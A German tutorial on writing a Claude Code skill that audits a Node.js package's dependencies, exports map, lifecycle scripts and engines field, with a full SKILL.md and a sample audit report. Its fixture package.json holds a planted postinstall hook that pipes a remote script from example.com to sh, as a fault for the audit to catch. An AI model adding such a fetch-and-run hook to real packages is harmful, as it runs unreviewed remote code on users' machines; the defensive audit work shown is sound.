So auditieren Sie ein Node-Projekt mit einem KI-Skill
Erstellen Sie einen Claude-Code-Skill für Node.js-Paketprüfungen: ungenutzte Abhängigkeiten, riskante Lifecycle-Skripte, fehlerhafte Exports und Engines-Angaben, belegt und bewertet.
Um ein Node-Projekt mit einem KI-Skill zu auditieren, committen Sie eine SKILL.md-Datei nach .claude/skills/<skill-name>/. Sie sollte Ihre tatsächliche package.json und die Build-Ausgabe in den Prompt einspeisen und Claude Code anweisen, eine kurze Liste von Prüfungen auszuführen, die Urteilsvermögen erfordern, und deren Ergebnisse mit Belegen zu berichten.
Die meisten Package-Reviews enden mit denselben vier Kommentaren: eine Abhängigkeit, die niemand mehr importiert, ein postinstall-Skript, das niemand gelesen hat, ein fehlendes engines-Feld und eine exports-Map, die auf eine Datei verweist, die der Build gar nicht erzeugt. Diese Kommentare schreiben Sie bei jedem PR aufs Neue.
Dieser Artikel baut einen kleinen Audit-Skill genau für diese Aufgabe. Er zeigt die vollständige Datei, erklärt, wie Sie den Skill bei „audit this package“ auslösen, aber nicht bei jeder Bearbeitung, und geht einen Durchlauf gegen ein Fixture-Repo durch. Außerdem wird behandelt, wo der Skill voraussichtlich falschliegt.
Die wichtigsten Punkte
- Ein Claude-Code-Projekt-Skill ist ein Ordner unter
.claude/skills/<skill-name>/, der eineSKILL.md-Datei enthält. Committen Sie diesen Ordner, und jeder, der das Repo klont, erhält denselben/skill-name-Befehl. - Eine Zeile in SKILL.md, die mit !
cat package.jsonbeginnt, wird ausgeführt, bevor Claude den Skill liest. So arbeitet das Audit mit dem tatsächlichen Manifest und nicht mit einer Vermutung darüber. - Schlägt ein eingespeister Befehl fehl, bricht Claude Code den gesamten Aufruf ab. Mit der standardmäßigen Bash-Shell gilt jeder Exit-Code ungleich null als Fehler – mit Ausnahme von Exit-Code 1 bei Such- und Vergleichsbefehlen. Ein Befehl, der aus legitimen Gründen fehlschlagen kann, benötigt ein angehängtes
|| true. - Ein Audit-Skill sollte Installationsskripte lesen, sie aber niemals ausführen. Halten Sie
npm install,npm ciundnpm runsowohl aus den eingespeisten Befehlen als auch ausallowed-toolsheraus. - ESLint,
npm auditund publint liefern für dieselbe Eingabe dieselbe Antwort. Ein Audit-Skill tut das nicht – setzen Sie ihn daher nur für Fragen ein, die Urteilsvermögen erfordern.
Dieselben vier Review-Kommentare bei jedem PR
Dieselben Kommentare in Package-Reviews wiederholen sich, weil sich die zugrunde liegenden Probleme nicht durch eine Regel entscheiden lassen. Ob eine Abhängigkeit noch benötigt wird, lässt sich nur durch eine Suche in der Codebasis klären. Ob ein postinstall-Skript überraschendes Verhalten zeigt, erfährt man nur, indem man es liest. Ein Linter bietet für keines von beidem eine Konfigurationsoption.
Ein Claude-Code-Skill eignet sich für diese Art von Ermessensarbeit. Er ist ein wiederverwendbarer Satz von Anweisungen in einer SKILL.md-Datei, den Claude Code lädt, wenn eine Anfrage zu seiner Beschreibung passt oder wenn Sie seinen Namen eingeben. Falls Ihnen das Format neu ist, erklären die Leitfäden zu Claude Code Skills für Frontend-Workflows und wiederverwendbaren Fähigkeiten für KI-Agenten das Konzept.
So erstellen Sie einen Claude-Code-Skill für Package-Audits
Um einen Claude-Code-Skill zu erstellen, legen Sie unter .claude/skills/ ein Verzeichnis mit einer SKILL.md-Datei an. Die Datei enthält YAML-Frontmatter zwischen ----Markierungen, gefolgt von Anweisungen in Markdown. Der Verzeichnisname bzw. der name im Frontmatter wird zum Slash-Befehl.
Den Skill-Ordner anlegen
Projekt-Skills liegen im .claude-Ordner des Repos. Claude Code lädt einen Skill, der unter .claude/skills/<skill-name>/SKILL.md gespeichert ist, in jeder Session in diesem Repository.
mkdir -p .claude/skills/node-package-audit
Die vollständige SKILL.md
Speichern Sie diese Datei als .claude/skills/node-package-audit/SKILL.md. Das öffnende --- muss in Zeile 1 stehen.
---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---
## Manifest
!`cat package.json`
## Top-level files
!`ls -a`
## Build output
!`ls dist lib build || true`
## Instructions
Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.
For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.
1. Dependencies: for each entry in dependencies and devDependencies,
search src, scripts in package.json, config files and bin entries for
a use. Flag only entries with no reference anywhere. Tools can be
referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
against the build output listed above. Flag paths that point at files
that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
Flag anything that downloads, runs a remote script, writes outside
the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
syntax or APIs used in the source.
Finish with a table of findings, then a short list of what you could not
check and why.
Was Frontmatter und eingespeiste Befehle bewirken
Jeder Schlüssel in dieser Datei ist in der Frontmatter-Referenz aufgeführt. Keiner davon ist Pflicht, die Dokumentation empfiehlt jedoch, description zu setzen. Ein unbekannter Schlüssel löst keinen Fehler aus: Claude Code überspringt ihn einfach, sodass ein Tippfehler wie allowed_tools ohne jede Warnung verschwindet.
Die drei !-Zeilen nutzen Dynamic Context Injection. Bevor Claude den Skill liest, führt Claude Code jeden Befehl aus und ersetzt die Zeile durch die Ausgabe des Befehls. Schlägt einer davon fehl, wird der gesamte Aufruf abgebrochen. ls liefert einen Exit-Code ungleich null, wenn ein angefordertes Verzeichnis nicht existiert – und ein Package, das noch nicht gebaut wurde, hat kein dist/. Deshalb endet die Zeile für die Build-Ausgabe mit || true. cat package.json hat bewusst keinen Fallback: In einem Node-Package soll ein fehlendes Manifest das Audit stoppen.
Claude Code zeigt für einen eingespeisten Befehl keine Berechtigungsabfrage an. Außerhalb des Auto-Modus stoppt ein eingespeister Befehl, den Ihre Berechtigungsregeln nicht ausdrücklich erlauben, den Aufruf – und über allowed-tools genehmigt der Skill diese Befehle vorab. Claude Code prüft jeden Teil eines zusammengesetzten Befehls einzeln, daher benötigt ls dist lib build || true sowohl eine Regel für true als auch für ls. Aus diesem Grund enthält allowed-tools auch Bash(true). Die Freigabe gilt nur für den Turn, in dem der Skill aufgerufen wurde. Bricht ein Durchlauf mit Shell command permission check failed ab, fügen Sie in Ihren Berechtigungseinstellungen eine Allow-Regel für diesen Befehl hinzu.
Zwei optionale Frontmatter-Felder in SKILL.md sind ebenfalls wissenswert: paths beschränkt das automatische Laden auf Arbeit an Dateien, die den angegebenen Globs entsprechen. disable-model-invocation: true sorgt dafür, dass der Skill nur ausgeführt wird, wenn Sie /node-package-audit eingeben.
Eine Beschreibung schreiben, die bei Audits greift – nicht bei Bearbeitungen
Claude verwendet das Feld description, um zu entscheiden, ob ein Skill ohne ausdrückliche Aufforderung geladen wird. Eine Beschreibung wie „Helps with Node projects“ ist zu vage, um zuverlässig auf „audit this package“ zu passen, und gleichzeitig so breit, dass der Skill bei völlig anderer Arbeit geladen wird.
Die obige Beschreibung von node-package-audit nennt den Anwendungsfall im ersten Satz, listet die auslösenden Verben auf (audit, review, sanity-check, ready to publish) und endet mit einem expliziten Ausschluss. Die Skill-Liste schneidet den kombinierten Text aus description und when_to_use nach 1.536 Zeichen ab, daher muss der zentrale Anwendungsfall an erster Stelle stehen. Wird der Skill weiterhin zu oft ausgelöst, empfiehlt die Dokumentation eine spezifischere Beschreibung oder den ausschließlich manuellen Aufruf.
Fünf Prüfungen, die Urteilsvermögen statt Regeln erfordern
Jede Prüfung im Skill stellt eine kontextabhängige Frage, und jede verlangt eine zitierte Datei oder ein zitiertes Feld, bevor ein Befund als bestätigt gilt.
Wird jede Abhängigkeit noch benötigt? Der Skill muss nach einer Verwendung suchen, bevor er eine Abhängigkeit markiert. Imports sind der einfache Fall. Schwieriger sind Packages, die in scripts als CLIs aufgerufen werden, und Plugins, die in Konfigurationsdateien als Strings angegeben sind.
Stimmt exports mit der Build-Ausgabe überein? Der Skill vergleicht die deklarierten Pfade mit der erhaltenen ls-Ausgabe. Ein Pfad zu einer nicht existierenden Datei gilt als bestätigt. Zweifel daran, ob eine Condition auf das richtige Format verweist, werden in der Regel als unverifiziert markiert.
Tun Installationsskripte etwas Überraschendes? npm 11 führt preinstall-, install- und postinstall-Skripte von Abhängigkeiten standardmäßig aus. Außerdem führt es prepare für Abhängigkeiten aus, die aus Nicht-Registry-Quellen wie Git installiert wurden. npm 12, veröffentlicht am 8. Juli 2026, führt diese Abhängigkeitsskripte nicht mehr aus, sofern das Package nicht genehmigt wurde, und blockiert auf dieselbe Weise prepare bei Git-, File- und Link-Abhängigkeiten. Projekte mit npm 11 oder älter sowie genehmigte Packages führen sie weiterhin aus. Ein Skript, das eine entfernte Datei an eine Shell pipet, verdient einen Review-Kommentar. Der Skill liest diese Skripte und darf sie niemals ausführen – deshalb taucht weder in den eingespeisten Zeilen noch in allowed-tools ein npm-Befehl auf. Dieselbe Supply-Chain-Logik gilt für die CI-Konfiguration, die im Security-Audit für GitHub-Workflows behandelt wird. Workspace Trust greift bei allowed-tools in einem committeten Skill nicht: Claude Code berücksichtigt das Feld selbst in einem Ordner, dem Sie nie vertraut haben. Lesen Sie es daher in jedem Repo, das Sie klonen.
Folgt das Layout den Konventionen des Repos? „Konventionen“ bedeutet hier das, was die Geschwister-Packages bereits tun. Die Anweisung, Abweichungen und nicht Vorlieben zu markieren, verhindert, dass die Prüfung zu Stilberatung verkommt.
Fehlt engines oder ist es falsch? npm erzwingt engines nur, wenn beim Installieren engine-strict aktiviert ist. Andernfalls gibt eine Versionsabweichung lediglich eine Warnung aus, und die Installation läuft weiter. Ein fehlender oder falscher Bereich scheitert also unbemerkt – genau deshalb lohnt sich diese Prüfung.
Prüfen, ob der Skill greift, und ihn dann ausführen
Ob der Skill greift, können Sie auf vier Arten prüfen: Fragen Sie „What skills are available?“, rufen Sie /node-package-audit direkt auf, führen Sie claude plugin validate .claude/skills aus oder starten Sie Claude Code mit --debug.
What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug
claude plugin validate erfordert Claude Code v2.1.233 oder neuer. Funktioniert /node-package-audit, löst „audit this package“ den Skill aber nicht aus, prüfen Sie zuerst das Frontmatter. Frontmatter, das sich nicht parsen lässt, verhindert nicht, dass der Skill geladen wird. Claude Code lädt ihn dann ohne Metadaten: Der Slash-Befehl funktioniert also weiterhin, Claude hat aber keine Beschreibung, mit der es eine Anfrage abgleichen könnte. Die Dokumentation empfiehlt außerdem, SKILL.md unter 500 Zeilen zu halten.
Ein Fixture mit eingebauten Fehlern
Diese package.json enthält vier absichtlich eingebaute Fehler. Ihr dist/ enthält nur index.js und index.d.ts, und eine .prettierrc führt prettier-plugin-organize-imports namentlich auf.
{
"name": "@acme/date-utils",
"version": "1.4.0",
"type": "module",
"main": "./dist/index.js",
"exports": {
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.mjs"
}
},
"scripts": {
"build": "tsc",
"lint": "eslint .",
"postinstall": "curl -fsSL https://example.com/setup.sh | sh"
},
"dependencies": {
"left-pad": "^1.3.0"
},
"devDependencies": {
"eslint": "^9.0.0",
"prettier-plugin-organize-imports": "^4.0.0",
"typescript": "^5.6.0"
}
}
Die eingebauten Fehler sind das ungenutzte left-pad, ein exports-Pfad zu einer nicht existierenden index.mjs, ein postinstall, das ein entferntes Skript an eine Shell pipet, und das fehlende engines-Feld.
Die Ausgabe und der Fehlgriff
Der Bericht besteht aus einer Befundtabelle, gefolgt von einer Liste dessen, was nicht geprüft werden konnte. So könnte das für dieses Fixture aussehen:
Findings
| # | Check | Finding | Evidence | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package | no import in src/, not named in scripts or config | confirmed |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused | no import in src/ | unverified |
| 3 | Exports | exports["."].import points at a missing file | ./dist/index.mjs is not in the build output | confirmed |
| 4 | Lifecycle | postinstall downloads and runs a remote script | scripts.postinstall pipes curl output to sh | confirmed |
| 5 | Engines | package.json has no engines field | no "engines" key in package.json | confirmed |
Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.
Der zu erwartende Fehlgriff ist eine falsche „ungenutzt“-Markierung für prettier-plugin-organize-imports, weil das Plugin nur als String in einer Konfigurationsdatei vorkommt. Die Anweisungen des Skills verringern dieses Risiko, können es aber nicht beseitigen. Lesen Sie zuerst die Spalte „Confidence“: Betrachten Sie einen unverifizierten Befund zu einer Abhängigkeit als Anlass, selbst danach zu greppen – nicht als Grund, sie zu löschen.
Ein Skill ist kein Linter
Ein Skill beantwortet die Fragen, die deterministische Tools nicht beantworten können – und er wird dabei gelegentlich falschliegen. ESLint und publint liefern für dieselbe Eingabe dasselbe Ergebnis, und npm audit tut dasselbe für einen gegebenen Satz an Advisories. Sie gehören daher als harte Gates in die CI. Der Audit-Skill gehört ins Review, wo ein Mensch die Belege liest, bevor er handelt. Die Argumente für das Automatisieren deterministischer Codeprüfungen gelten weiterhin, und der Skill ersetzt nichts davon.
Ein fehlerhafter exports-Pfad oder ein falscher engines-Bereich zeigt sich meist zur Laufzeit und nicht in der CI. Session Replay zeigt den daraus resultierenden leeren Bildschirm, den Konsolenfehler und den fehlgeschlagenen Request im Kontext, während der Skill die statische Ursache bereits vor der Veröffentlichung erkennt.
Fazit
Ein kleiner Audit-Skill funktioniert, weil sein Umfang eng gefasst ist: Er speist echte Dateien ein, führt fünf Prüfungen mit zitierten Belegen durch, liest Installationsskripte, ohne sie auszuführen, und sagt klar, wenn er sich nicht sicher ist. Committen Sie die obige SKILL.md, führen Sie /node-package-audit für das Package aus, das Sie am häufigsten reviewen, und überführen Sie jeden wiederkehrenden Befund in eine deterministische Regel, sofern sich eine solche formulieren lässt.
FAQs
Ist die Prüfung der Installationsskripte noch sinnvoll, nachdem npm 12 Installationsskripte blockiert?
Ja. npm 12.0.0 führt preinstall-, install- und postinstall-Skripte von Abhängigkeiten nicht mehr aus, sofern sie nicht mit npm approve-scripts genehmigt wurden, und blockiert auf dieselbe Weise prepare-Skripte bei Git-, File- und Link-Abhängigkeiten. Nutzer mit npm 11 oder älter führen sie jedoch standardmäßig weiterhin aus, und genehmigte Packages führen sie ebenfalls weiter aus. Ein postinstall, das ein entferntes Skript an eine Shell pipet, muss nach wie vor geprüft werden.
Wo sollte ein Audit-Skill in einem Monorepo mit vielen Packages liegen?
Legen Sie einen gemeinsamen Audit-Skill im Root-Ordner .claude/skills ab, damit er für das gesamte Repository gilt. Für Regeln, die nur ein Package betreffen, committen Sie einen separaten Skill innerhalb dieses Packages, zum Beispiel unter packages/api/.claude/skills/. Claude Code erkennt verschachtelte Skill-Ordner, wenn Sie mit Dateien in diesem Unterverzeichnis arbeiten. Ein Package-spezifischer Skill erscheint daher möglicherweise erst, wenn Claude dort eine Datei liest oder bearbeitet.
Was passiert, wenn ein Entwickler einen persönlichen Skill mit demselben Namen wie der committete Skill hat?
Der persönliche Skill hat Vorrang. Claude Code löst Namenskollisionen bei Skills in der Reihenfolge Enterprise, dann persönlich, dann Projekt auf. Ein Skill unter ~/.claude/skills/node-package-audit/SKILL.md überdeckt für diesen Entwickler also die committete .claude/skills/node-package-audit/SKILL.md. Plugin-Skills haben einen eigenen Namespace und kollidieren nie. Ignoriert das Audit eines Teammitglieds die jüngsten Änderungen an der Version im Repo, prüfen Sie zuerst, ob es einen persönlichen Skill mit demselben Namen gibt.